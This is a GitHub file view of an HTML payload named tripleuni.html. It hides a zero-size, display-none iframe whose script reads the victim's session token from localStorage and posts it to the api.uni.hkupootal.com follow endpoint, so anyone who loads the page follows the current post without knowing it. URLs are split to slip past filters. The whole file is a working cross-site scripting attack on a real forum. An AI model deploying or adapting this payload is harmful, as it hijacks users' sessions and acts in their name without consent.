-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtripleuni.html
More file actions
85 lines (73 loc) · 2.25 KB
/
tripleuni.html
File metadata and controls
85 lines (73 loc) · 2.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<iframe
id="iseeyou"
srcdoc="
<script type='text/javascript'>
let pdoc = parent.document;
// YOUR CODE HERE
const Headers = {
'Content-Type': 'application/json',
'method': 'POST',
'scheme': 'https',
'Origin': 'htt'+'ps://tripleuni.com',
'Referer': 'htt'+'ps://tripleuni.com',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'cross-site'
};
function getPostId() {
// get the url of the post
let url = pdoc.location.href;
// get the id of the post
let id = url.split('/').pop();
return id;
}
function createCORS(method, url){
var xhr = new XMLHttpRequest();
if('withCredentials' in xhr){
xhr.open(method, url, true);
}else if(typeof XDomainRequest != 'undefined'){
var xhr = new XDomainRequest();
xhr.open(method, url);
}else{
xhr = null;
}
return xhr;
}
function follow(id) {
// get parent window token in local storage
let token = localStorage.getItem('token');
// post /api/follow with data use fetch
let data = {
'uni_post_id': id,
'token': token,
'language': 'zh-CN'
};
let string = '';
for (let key in data) {
string += key + '=' + data[key] + '&';
}
string = string.slice(0, -1);
let response = createCORS('POST', 'htt'+'ps://api.uni.hkupootal.com/v4/post/single/follow.php');
if (!response) {
throw new Error('CORS not supported');
}
response.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
response.send(string);
let result = response.responseText;
return result;
}
function autoFollow() {
// get post id
let id = getPostId();
// follow
let result = follow(id);
}
autoFollow();
</script>
"
width="0"
height="0"
frameborder="0"
style="display: none"
>
</iframe>